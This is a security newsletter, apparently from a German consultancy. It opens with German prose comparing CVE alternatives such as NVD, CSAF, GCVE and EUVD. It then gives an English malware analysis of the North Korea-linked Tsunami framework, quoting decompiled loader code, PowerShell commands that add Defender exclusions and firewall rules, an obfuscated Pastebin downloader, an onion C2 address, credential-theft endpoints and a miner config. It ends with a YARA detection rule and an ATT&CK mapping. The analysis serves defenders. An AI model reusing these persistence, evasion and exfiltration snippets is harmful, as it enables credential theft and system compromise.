Die reinen CVE-Nummern helfen den Softwareanbietern bei der Kommunikation. In ihren Release-Notes können sie ihren Kunden eindeutig aufzeigen, welche Schwachstellen (eigene und von Drittkomponenten geerbte) beseitigt wurden. Die Kunden können die Information dann mit ihrem eigenen Risikomanagement aus Betriebssicht abgleichen. Die CVE-Nummer kann aber auch gut genutzt werden, um aufzuzeigen, dass die eigene Software von einer konkreten Lücke nicht betroffen ist. So forderten beispielsweise bei der Log4Shell-Schwachstelle in der Log4j-Bibliothek viele große IT-Organisationen von ihren Zulieferern Negativbescheide, dass ihre Produkte von dieser Lücke nicht betroffen waren. 

Ähnlich wie die Scanner für Container gibt es auch Scantools, die über die Versionsstände von eingebundenen Dependencies ermitteln, ob eine neue Schwachstelle bekannt wurde. Nutzt man zum Verwalten der Abhängigkeiten einen Registry-basierten Ansatz (z.B. mit NPM), erhält man so leicht die notwendigen Informationen. Für händisch hinzugefügte Abhängigkeiten (z.B. JAR-Archiv, Binärbibliothek, JavaScript) gibt es ebenfalls Scanner, die teilweise Heuristiken einsetzen müssen, um den eindeutigen Namen der Bibliothek und die Versionsnummer zu bestimmen (z.B. RetireJS, Trivy). 

Exploits/Lücken nachvollziehen im Pentest / in der Incident Response 

Im Bereich von Penetrationstests, technischen Audits und Incident Response werden CVEs regelmäßig verwendet. Durch die eindeutige Benennung sprechen sowohl Kunden als auch Sicherheitsberatende über dieselbe Sicherheitslücke. Kunden erlaubt dies beispielsweise einfacher einzuschätzen, in welchen Versionen eine Sicherheitslücke eines eingesetzten Systemes vom Hersteller behoben wurde, da Changelogs der Hersteller und externe Quellen die CVEs zu betroffenen Versionen mappen. 

Ebenso werden anhand der CVE z.B. weiterführende Recherchen, sei es über Suchmaschinen, auf GitHub oder in dedizierten Vulnerability Databases, erleichtert. Es kann z.B. besser eingeschätzt werden, ob bereits öffentlich verfügbare Write-Ups, Exploits oder Proof-of-Concept Code existiert, der durch Angreifende verwendet werden kann. Im Incident Response kann dies als Indiz für die Ausgereiftheit der Angreifenden herangezogen werden. 

Gefundene Schwachstelle melden 

Bei der Meldung von Schwachstellen wird die gefundene Sicherheitslücke im Rahmen von Responsible Disclosure häufig bei einer CVE Numbering Authority (CNA) eingereicht, um für diese Lücke eine CVE zugewiesen zu bekommen. Da während des Prozesses der Meldung viele Parteien beteiligt sein können, z.B. die Entdeckenden der Lücke, die Herstellenden des Systems, die Personen, die das System einsetzen, oder auch Vermittelnde wie ein CERT, soll eine CVE dabei sicherstellen, dass von der gleichen Lücke gesprochen wird. Außerdem können alle Beteiligten den Fortschritt während des Prozesses der Responsible Disclosure effektiver verfolgen. Nach der Behebung einer Sicherheitslücke erlaubt eine veröffentlichte CVE der Öffentlichkeit, z.B. betroffenen Firmen, den Einfluss der Sicherheitslücke auf die eigenen Systeme zu beurteilen und ggf. Maßnahmen zu ergreifen. 

Alternativen 

Für diese Anwendungsfälle wollen wir uns jetzt mögliche Alternativen anschauen. Wir haben dabei die Ansätze ausgewählt, die in den Tagen um die drohende CVE-Abschaltung am breitesten diskutiert wurden. Einige der Ansätze sind aktuell noch nicht praktisch nutzbar oder zielen auch auf ein ganz anderes Anwendungsfeld ab. Wenn sie dennoch in der Diskussion Raum eingenommen haben, haben wir sie hier aufgegriffen. 

Das Original: MITRE CVE 

Betrieben von der Non-Government-Organization (NGO) MITRE Corporation, gilt das Common Vulnerabilities and Exposures (CVE) System als die Referenz in der Welt der IT-Sicherheit für Sicherheitslücken und Schwachstellen. Durch die Vereinheitlichung der Nummerierung von Sicherheitslücken ist jederzeit eindeutig, auf welcher Sicherheitslücke man sich bezieht.  

Dadurch ist das Kürzel “CVE” für einige auch schon zum Synonym für “Sicherheitslücke” geworden und wird meist auch mit den detaillierten Einträgen in CVE-basierten Datenbanken wie der NVD gleichgesetzt. Die CVE-Datenbank selbst enthält allerdings nur sehr wenige Informationen zur Lücke. Grundsätzlich gerade so viele Informationen, um die Lücke wiedererkennen zu können. Das Datenbankformat erlaubt auch Risikoeinschätzungen und andere Informationen, diese sind aber optional.  

Besondere Aufmerksamkeit bekam dieses System, nachdem die US-Regierung unter Trump im April 2025 die Finanzierung stoppte. Dieses System wird vom US-Heimschatzuministerium (DHS) sowie der untergeordneten Cybersecurity and Infrastructure Security Agency (CISA) unterstützt. Durch das Ziehen einer Optionsklausel im Vertrag der Förderung durch die US-Regierung, bleibt das MITRE CVE System bis 16.03.2026 am Start. Was danach passiert, kann niemand abschätzen. 

Dadurch, dass dieses System seit 1999 im Einsatz ist, hat es sich zum Standard entwickelt. Es ist daher die derzeit aktuellste, kompatibelste und vollständigste Lösung. 

Neu aufgedeckte Schwachstellen werden von den CVE Numbering Authorities (CNA) eingepflegt, nummeriert und verwaltet. Die Meldung erfolgt u.a. über ein eigenes Portal. Es können jedoch auch vorgefertigte sowie selbst programmierte Clients verwendet werden. Eine CVE kann bereits vor der Veröffentlichung beantragt werden, und für die Zuweisung erfolgt meist nur eine grobe Prüfung. Eine zugewiesene CVE bedeutet also nicht automatisch, dass ein tatsächliches Risiko besteht. Zu vielen CVEs werden keine Lücken veröffentlicht – so wurden z.B. 2023 ca. 40.000 CVEs reserviert, aber nur ca. 29.000 veröffentlicht. 

Die reinen CVE-Nummern bilden nur einen Teil der Anwendungsfälle ab, insbesondere liefern sie nicht unbedingt eine Risikobewertung. Sie bilden aber die Basis für viele darauf aufbauende Datenbanken wie die NVD. 

Wird oft mit CVE verwechselt: NIST National Vulnerability Database (NVD) 

Die National Vulnerability Database (NVD) wird von der US-Behörde NIST betrieben und oft mit CVE verwechselt. Beide sind auch eng miteinander verknüpft – für jede CVE im Zustand “veröffentlicht” wird automatisch ein Eintrag in der NVD erzeugt. Während die CVE-Datenbank nur rudimentäre Informationen zur Lücke enthält, wird der Eintrag in der NVD noch um weitere Informationen wie einen Risikoscore nach dem Industriestandard Common Vulnerability Scoring System (CVSS) oder Links zu weiteren Informationen ergänzt. 

Diese Informationen werden teilweise manuell ergänzt. Im Frühjahr 2024 kam es dabei zu einer Überlastung des zuständigen Teams, und es wurden für mehrere Monate keine Ergänzungen insbesondere auch keine Risikobewertungen eingepflegt. Durch den Einsatz von externen Partnern konnte der Stau aufgelöst und das System resilienter gemacht werden, aber wie bei CVE zeigt der Vorfall, wie stark die NVD vom amerikanischen Bundeshaushalt abhängt. 

Die NVD-Daten stehen auch als strukturierte Daten im Security Content Automation Protocol (SCAP) Format zur Verfügung und können ohne Einschränkungen verwendet werden. Daher setzen viele Tools und auch Schwachstellen-Webseiten die NVD-Daten direkt ein oder nutzen sie als Basisdatensatz, der durch eigene Erkenntnisse ergänzt wird. Da die NVD nicht zwingend genannt werden muss, ist der Zusammenhang nicht immer direkt erkennbar. 

Fast alle unserer Anwendungsfälle kann die NVD bedienen. Lediglich neue Lücken können nicht direkt bei der NVD gemeldet werden – hier muss eine CVE beantragt werden und damit entsteht automatisch auch der NVD-Eintrag. 

CVE Foundation 

Die Meldung, dass die US-Regierung die Förderung von MITRE CVE einstellen will, sorgte berechtigterweise für eine Menge Wirbel in der globalen Cybersecurity Szene. Angetrieben durch dieses Ereignis sowie dem schon länger existierenden Wunsch noch neutraler und nachhaltiger auftreten zu können (und nicht an eine Regierung gebunden zu sein) entschieden sich diverse Vorstandsmitglieder des CVE-Systems ihre eigene (non-profit) Stiftung zu gründen, um die Finanzierung des MITRE Programms zu realisieren. 

Die CVE Foundation ist daher keine Alternative zu bestehenden Programmen und will es nach unserem Kenntnisstand auch gar nicht werden. Aktuell befindet sich die Stiftung noch im Aufbau – Informationen dazu wie es weitergeht und was die nächsten Schritte sein werden, sind daher rar. In ihren eigenen FAQs werden lediglich einige Fragen zum Auftrag sowie einige der baldigen Vorstände benannt. 

Unsere Anwendungsfälle wären bei einer CVE-Stiftung genauso abgedeckt wie bisher. Wenn die Stiftung die bestehende Datenbank und Nummerierung übernehmen würde, gäbe es auch keinen Umstellungsaufwand. 

Common Security Advisory Framework (CSAF)

Ein weiterer Name, der in diesen Zusammenhängen immer wieder genannt wurde, ist das Common Security Advisory Framework (CSAF). Dahinter verbirgt sich eine technische Spezifikation für einen verteilten Ansatz. Eine vertrauenswürdige Instanz wie aktuell beispielsweise das Bundesamt für Sicherheit in der Informationstechnik (BSI) pflegt eine Liste von Organisationen, die Sicherheitslücken dokumentieren. Diese wiederum veröffentlichen die Sicherheitslücken in einem strukturierten Format (JSON). 

Laut der eigenen FAQ sieht sich CSAF nicht als CVE-Ersatz. Der Standard bietet ein optionales Feld für die CVE-Nummer an, und in der Technischen Richtlinie TR-03191 des BSI ist die CVE-Nummer sogar verpflichtend. In CSAF geht es eher um die Details zu jeder Lücke, man kann CSAF also eher als eine dezentrale Alternative zur NVD-Datenbank betrachten. 

Die Anwendungsfälle, in denen die Eindeutigkeit der CVE-Nummer im Vordergrund steht – z.B. als Ordnungsmerkmal im Risikomanagement oder als eindeutige Kennung in der Software Supply Chain – können von CSAF nicht abgebildet werden. CSAF-Dokumente haben zwar eindeutige Kennungen, aber zwei Dokumente können sich auf die gleiche Lücke beziehen. 

Als Informationsbasis und insbesondere als Datenbasis für Scan-Tools eignen sich die CSAF-Dokumente dagegen gut. Die CSAF-Seite verzeichnet direkt einige passende Tools. Es gibt jedoch keinen Automatismus wie bei der NVD, der für jede veröffentlichte CVE zumindest einen rudimentären Eintrag erzeugt. 

Global CVE Allocation System (GCVE)

Das Global CVE Allocation System (GCVE) ist ein neuer Ansatz vom Computer Incident Response Center Luxembourg (CIRCL), bei dem statt einer zentralen Instanz wie MITRE die Vergabe von IDs für Sicherheitslücken dezentral stattfinden soll. Zwar gibt es im traditionellen CVE-System auch verschiedene Vergabestellen für CVEs – sogenannte CVE Numbering Authorities (CNAs) – jedoch müssen die Vorgaben von MITRE eingehalten werden, und die Vergabe von eindeutigen IDs wird durch die zentrale Instanz gesteuert. Im GCVE wird die ID dazu im Format „GCVE-<GNA ID>-<YEAR>-<UNIQUE ID>“ vergeben. Jeder teilnehmenden Organisation wird eine sogenannte GNA ID zugeteilt, sodass die Organisationen ihren eigenen ID-Bereich unabhängig vergeben können, ohne Überschneidungen hervorzurufen. Es bleibt abzuwarten, ob die Anzahl der aktuell acht teilnehmenden Organisationen steigt und sich auch bekannte Größen dem im Aufbau befindlichen System anschließen. 

Für die oben definierten Anwendungsfälle ist es aktuell kaum nutzbar. Nur die vom CIRCL betriebene Datenbank Vulnerability Lookup benutzt derzeit das Schema.  

Da die Teilbereiche unabhängig verwaltet werden, wird es Lücken geben, die mehrere GCVE-Nummern von unterschiedlichen GNA erhalten werden. Die GCVE eignet sich dann nicht als eindeutiges Ordnungsmerkmal im Risikomanagement oder in der Software Supply Chain. 

European Vulnerability Database (EUVD) 

Eigentlich noch im Probebetrieb wurde die europäische Antwort auf die NVD im Zuge der drohenden CVE-Abschaltung kurzerhand öffentlich verfügbar gemacht. Die Datenbank ist noch in der Beta-Phase und soll vor allem die Korrelation aus verschiedenen Datenquellen ermöglichen.  

Da so auch Sicherheitslücken aufgenommen werden, die nicht bei der CVE gemeldet wurden, vergibt die European Network and Information Security Agency (ENISA) eigene Nummern, die mit EUVD starten. Aktuell ist das System auf eine Ko-Existenz und eine Abbildung auf CVEs ausgelegt, könnte aber bei einer CVE-Abschaltung auch problemlos weiterbetrieben werden. 

Während einzelne neuere Einträge bereits sehr viele Informationen aufweisen, konnten wir in Stichproben immer wieder Einträge finden, die entweder nur die Basis-Daten aus der CVE-Datenbank enthielten oder die im Vergleich zum korrespondierenden NVD-Eintrag viel weniger Details hatten. 

Die EUVD ist so ausgelegt, dass alle unsere oben beschriebenen Anwendungsfälle langfristig bedient werden können. Aktuell ist die Datenqualität noch nicht vergleichbar mit der NVD, und nur wenige Tools nutzen die EUVD als Datenbasis. Beides kann sich aber mit der Zeit noch ändern.  

Ob die EUVD-Nummern die etablierten CVE-Nummern als eindeutige Kennung ersetzen können, ist noch offen. Da die EUVD Teil der NIS2-Richtlinie der EU ist und von den europäischen Informationssicherheitsbehörden gemeinsam genutzt wird, stehen die Chancen aber zumindest für Europa nicht schlecht. 

Single Reporting Platform (SRP) des europäischen Cyber Resilience Act (CRA) 

Neben der NIS-2-Richtlinie, die vor allem auf den sicheren IT-Betrieb abzielt, macht die EU im Cyber Resilience Act (CRA) Informationssicherheitsvorgaben für Produkte. Darin sind auch Vorgaben wie Schwachstellen veröffentlicht werden sollen und welche Meldewege die Hersteller ermöglichen müssen. 

Eine neue geschaffene Single Reporting Platform (SRP) soll dabei eine zentrale Rolle spielen. Die Erstellung der Plattform wird gerade ausgeschrieben. Daher kann es noch keine konkrete Einschätzung geben, wie sich die SRP auf die Anwendungsfälle auswirkt. Bisher bekannt ist lediglich die Arbeitsteilung zwischen SRP und EUVD: Während die SRP auch unveröffentlichte Schwachstellen für einen beschränkten Empfängerkreis bereitstellen soll, sollen veröffentlichte Schwachstellen aus der SRP direkt in die EUVD aufgenommen werden. 

Was müssen Anwender jetzt tun? 

Bis März 2026 kann erstmal alles wie bisher bleiben. Es ist jedoch ratsam, sich bereits auf mögliche Alternativszenarien nach dem Datum vorzubereiten. 

Für die Nutzung der CVE als eindeutige Kennung (im Risikomanagement, als Hersteller, als Entdecker), kann man bereits jetzt anfangen, zusätzlich eine der alternativen Kennungen wie die EUVD-Nummer zu dokumentieren. Idealerweise spricht man mit Kunden und Lieferanten über die Alternativen und findet vielleicht eine gemeinsame Alternative. 

Bei den Scan-Tools und Informationsdiensten (fürs ISMS, Container, Software) sollte man rechtzeitig prüfen, auf welchen Daten sie basieren. Nutzen sie einfach die NVD oder binden sie bereits heute verschiedene Datenbanken (die nicht nur Kopien der NVD sind) an? Möglicherweise müssen Tools und damit die daran hängenden Prozesse ausgetauscht werden, um mehr Datenquellen nutzen zu können. 

Advisories, Incidents, Malware, Threat Intelligence

Rolling in the Deep(Web): Lazarus Tsunami

Summary

When HiSolutions investigated cryptocurrency theft in a software developers environment in fall
2024, the initial access vector and first stages of malware-deployment were identical to the
ongoing „Contagious Interview“-Campaign linked to North Korea.
During our analysis we were able to identify a more comprehensive sample of the Tsunami-Framework, a Malware relying on the TOR-Network and Pastebin (a SaaS) for command and control
Tsunami has a modular structure, incorporates multiple stealers and deploys two cryptominers. It has
first been identified by Luca Di Domenico and Alessio Di Santo.

Key Takeaways

  • The „Contagious Interview“-Campaign is ongoing and responsible for the theft of common and less common crypto-currencies.
  • The Threat Actor (TA) actively develops new tooling and uses Pastebin-Accounts and TOR .onion-Domains for C2.
  • The identified Tsunami-Malware is in active development and incorporates multiple crypto miners and credential stealers.

Analysis

When we first observed the Tsunami-Framework in an incident, it achieved initial access through
chainloading a malicious BeaverTail-Payload (loader) from the third-party domain “api.npoint.io”
through a private GitHub-Repository. When executed, the loader deploys the InvisibleFerret
Malware, as is publicly known from other cases.

Our analysis of the InvisibleFerret file “.n2\bow” identified that the Framework used a Python-
Launcher with the essential parameter configuration below. Examining the variables and their
contents, we are able to identify the location where the Tsunami Injector and Tsunami Installer are
stored and executed. Additionally, the actors install a Python interpreter, presumably to ensure their
version requirements are met. 

  ##### Globals ##### 

    DEBUG_MODE = False 

    PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe" 

    APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA") 

    TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw" 
    TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup" 
    TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}" 

    TSUNAMI_INJECTOR_SCRIPT = """          
… 

##### Globals ##### 

DEBUG_MODE = False 

ROAMING_APPDATA_PATH = os.getenv("APPDATA") 
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA") 

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)]) 
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir() 
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}" 

TSUNAMI_INSTALLER_NAME = "Runtime Broker" 
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications" 
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe" 

TSUNAMI_PAYLOAD_SCRIPT = ''' 
RandVar = '?'

The launcher deploys a persistent “Tsunami-Injector” named “Windows Update Script.pyw” in
“AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup” and a “Tsunami_Installer” in
“AppData/Microsoft/Windows/Applications/Runtime Broker.exe”. It then adds a Windows-Defender
Exclusion for the “Runtime Broker.exe” and creates a Scheduled Task for secondary persistence.

##### Tsunami Payload ##### 

 def add_windows_defender_exception(filepath: str) -> None: 
    try: 
        subprocess.run( 
            ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"], 
            shell = True, 
            creationflags = subprocess.CREATE_NO_WINDOW, 
            stdout = subprocess.PIPE, 
            stderr = subprocess.PIPE, 
            stdin = subprocess.PIPE 
        ) 

        output(f"Added a new file to the Windows Defender exception") 
    except Exception as e: 
        output(f"[-] Failed to add Windows Defender exception: {e}") 

def create_task() -> None: 
    powershell_script = f\"\"\" 
        $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}" 
        $Trigger = New-ScheduledTaskTrigger -AtLogOn 
        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive 
        $Principal.RunLevel = 1 
        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd 
        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker" 
                         \"\"\"

The launcher-script contains a list of 1.000 XOR-encrypted Pastebin-User-Urls and checks for
uploaded Pastes, which contain the Download-URL for the “Tsunami-Installer”.

#### URL Downloader ##### 

def xor_encrypt(text: bytes): 
    XOR_KEY = b"!!!HappyPenguin1950!!!" 
     
    encrypted_text = bytearray() 
    for i in range(len(text)): 
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)]) 
    return bytes(encrypted_text) 

def xor_decrypt(text: bytes): 
    return xor_encrypt(text) 

def decode(encoded: str) -> str: 
    encoded_bytes = binascii.unhexlify(encoded) 
    encoded_bytes = xor_decrypt(encoded_bytes) 
    encoded = base64.b64decode(encoded_bytes).decode() 

    return encoded[::-1] 

def download_installer_url() -> str: 
    URLS = [ 
        
"6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2
c0b172e027675066557437618 
4b6d255400291406550d55331e224801035312631145664675", 
…

The “Tsunami-Installer” was written in .Net and contains further persistence mechanisms. During
execution, it adds multiple Windows-Defender- and Windows-Firewall-Exclusions and, if successful,
drops a “TsuAmFlag.txt” in “AppData/Local/Temp”.

powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime 
Monitor.exe' 
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' 
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' 
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' 
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' 
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe' enable=yes 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' enable=yes 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' enable=yes 
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe" enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
"program=C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe" enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
program=C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe enable=yes 
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow 
"program=C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe" enable=yes

Depending on the existence of “TsuAmFlag.txt” the Malware lies dorment for 1 or 5 minutes.

private static void DisableWindowsSecurity() 
    { 
      int num = AntiDefender.FlagExists() ? 1 : 0; 
      AntiDefender.DisableWindowsDefender(); 
      AntiDefender.DisableWindowsFirewall(); 
      if (num != 0) 
      { 
        Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute"); 
        Thread.Sleep(60000); 
      } 
      else 
      { 
        Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 minutes"); 
        Thread.Sleep(300000); 
      }

The binary further contains a “RessourceLoader” which extracts incorporated PE-Files. Here the Installer extracts a Tor-Client:

namespace TsunamiInstaller 
{ 
  public static class ResourceLoader 
  { 
    public static byte[] Load(Resources resource) 
    { 
      byte[] resource1 = ResourceLoader.GetResource(resource); 
      if (resource1.Length == 0) 
        return new byte[0]; 
      Array.Reverse<byte>(resource1); 
      return GZIP.Decompress(resource1); 
    } 

    private static byte[] GetResource(Resources resource) => resource == Resources.TorExecutable ? Resource1.tor_exe : new byte[0]; 
  } 
}

The deployed Tor-Binary is then used to downlaod a Client from a hardcoded Onion-URL:

namespace.Tsunami.Core.App 
{ 
  public static class Meta 
  { 
    private static UsageType _UsageType = UsageType.None; 
    private static string _AppVersion = ""; 
    private static string _AppSessionID = ""; 
    private static string _ServerURL = ""; 

    public static void Init(UsageType type, string appVersion) 
    { 
      Meta._UsageType = type; 
      Meta._AppVersion = appVersion; 
      Meta._AppSessionID = Guid.NewGuid().ToString(); 
      Meta._ServerURL = "http://n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion"; 
    } 
…

The downloaded client then contains multiple modules:

  • Backdoor
  • Botnet
  • BraveCredentialStealer
  • BrowserCookie
  • BrowserCreditCard
  • BrowserPassword
  • BrowserSession
  • ChromeCredentialStealer
  • ChromiumStealer
  • CryptoMiner
  • DataStealer
  • Decryptor
  • DiscordAccount
  • EdgeCredentialStealer
  • EncryptedKey
  • EthereumMiner
  • ExodusStealer
  • FirefoxCredentialStealer
  • GeckoStealer
  • KeyLogger
  • InfoStealer
  • MoneroMiner
  • Nss3
  • OperaGXCredentialStealer
  • Profile
  • Secret
  • SecretFileStealer
  • TemperatureTracker
  • UpdateVisitor
  • WinApi

These modules provide multiple solutions for acquiring credentials, session-keys, cookies and a
keylogger (Backdoor). A recent development has been the “SecretFileStealer” module that searches
for and uploads files matching conditions that are dynamically loaded from the C2-Server. The
“Botnet” module stands out because it is uncommon for this type of malware. It also seems to be in
the early stages of development as it is not fully functional in the most recent version.

For Command-and-Control the Onion-Domain provides multiple Endpoints:

  • /api/v1/browser-passwords
  • /api/v1/browser-sessions
  • /assets/v2/tsunami-client/file
  • /api/v1/discord-accounts
  • /api/v1/environment-info
  • /assets/v2/tsunami-client/hash
  • /api/v1/init
  • /api/v1/telemetry
  • /assets/v2/dotnet6-installer-url

Like the “Tsunami-Installer” the “Tsunami-Client” contains multiple files:

  • AMD_Compute_Mode_Enabler.reg
  • ETHW_Miner.exe
  • Ldbdump.exe
  • Tor.exe
  • XMRig.exe
  • Xmrig_config.json
  • XMRig_Driver.sys

We assume the Framework to be in a testing-phase according to the “’rig-id’: ‘test’” in
“Xmrig_config.json” (below).

… 
"pools": [ 
        { 
            "coin": "monero", 
            "url": "xmrpool.eu:5555", 
            "user": "45Kwfu8Q7B18zg5THCz3Jze9YSVn54BPh1tBgzyqJmmUL8YWwXLhs1NV1LCLLv1cJTAHrKhn4cwVNNuzdaydbDXJT9eiQuf", 
            "pass": "x", 
            "rig-id": "test", 
 "keepalive": true, 
 "enabled": true 
        } 
…

Detection and Response

YARA

rule tsunami_framework : apt { 
    meta: 
        name        = "tsunami_framework" 
        category    = "framework" 
        description = "Detects Tsunami-Framework" 
        author      = "Nicolas Sprenger (HiSolutions AG)" 
        created     = "2024-12-18" 
        reliability = 100 
        tlp         = "TLP:clear" 
        sample      = "ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527" 
        score       = 100 

    strings: 
        $ = "=/\x00a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00t\x00s\x00u\x00n\x00a\x00m\x00i\x00-\x00c\x00l\x00i\x00e\x00n\x00t\x00" 
        $ = "/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00b\x00r\x00o\x00w\x00s\x00e\x00r\x00-\x00p\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x00s" 
        $ = 
"/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00i\x00n\x00i\x00t\x00\x001/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00e\x0
0n\x00v\x00i\x00r\x00o\x00n\x00m\x00e\x00n 
\x00t\x00-\x00i\x00n\x00f\x00o\x00" 
        $ = "a\x00p\x00i\x00/\x00v\x001\x00/\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00-\x00a\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00" 
        $ = "a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00d\x00o\x00t\x00n\x00e\x00t\x006\x00-\x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00e\x00r\x00-
\x00u\x00r\x00l" 
        $ = { 5473756E616D692E436F72652E436F6D6D6F6E2E } 
        $ = { 680074007400700073003A002F002F006100700069002E00690070006900660079002E006F0072006700 }    // "https://api.ipify.org" 
        $ = { 68007400740070003A002F002F006900700069006E0066006F002E0069006F002F00 }    // "http://ipinfo.io/" 

    condition: 
        uint16(0) == 0x5a4d and all of them 
}

TTP and Indicators

MITRE ATT&CK TTP

IDTechniqueComment
T1082System Information DiscoveryDuring Initialization the malware
sends hardware and OS information to the C2.
T1589.001Gather Victim Identity Information:
Credentials		Multiple modules collect credentials from browsers and other applications.
T1587.001Develop Capabilities: MalwareThe Threat Actor actively develops the Tsunami malware.
T1584.005Compromise Infrastructure: BotnetThe malware includes Botnet functionality.
T1608Stage CapabilitiesThe infection chain relies on multiple stages hosted on different systems and services.
T1566PhishingThe Threat Actor approaches their
victims via LinkedIn and poses as a potential business partner.
T1059Command and Scripting InterpreterMultiple stages rely on Scripting
Interpreters like JavaScript,
PowerShell and Python.
T1053.005Scheduled Task/JobThe malware loader relies on a
Scheduled Task for persistence.
T1204User ExecutionThe Initial Access relies on the user executing a backdoored GitHub repository.
T1547Boot or Logon Autostart ExecutionThe Tsunami Payload creates a
Startup Task for persistence.
T1562.004Impair Defenses: Disable or Modify System FirewallThe Windows Firewall is being
disabled.
T1562.001Impair Defenses: Disable or Modify ToolsWindows Defender is being disabled.
T1027Obfuscated Files or InformationThe initial stages are heavily
obfuscated and later stages are
slightly obfuscated.
T1056Input CaptureThe malware has Keylogging
capabilities.
T1539Steal Web Session CookieThe malware exfiltrates Browser
Session Cookies.
T1555Credentials from Password StoresMultiple Applications and Browsers are accessed for credential access.
T1083File and Directory DiscoverySpecific files are sought out and
uploaded to the C2 Server.
T1020Automated ExfiltrationThe malware automatically and
periodically uploads gathered
information.
T1496.001Resource Hijacking: Compute
Hijacking		Multiple Cryptominers are deployed by the malware

Indicator of Compromise

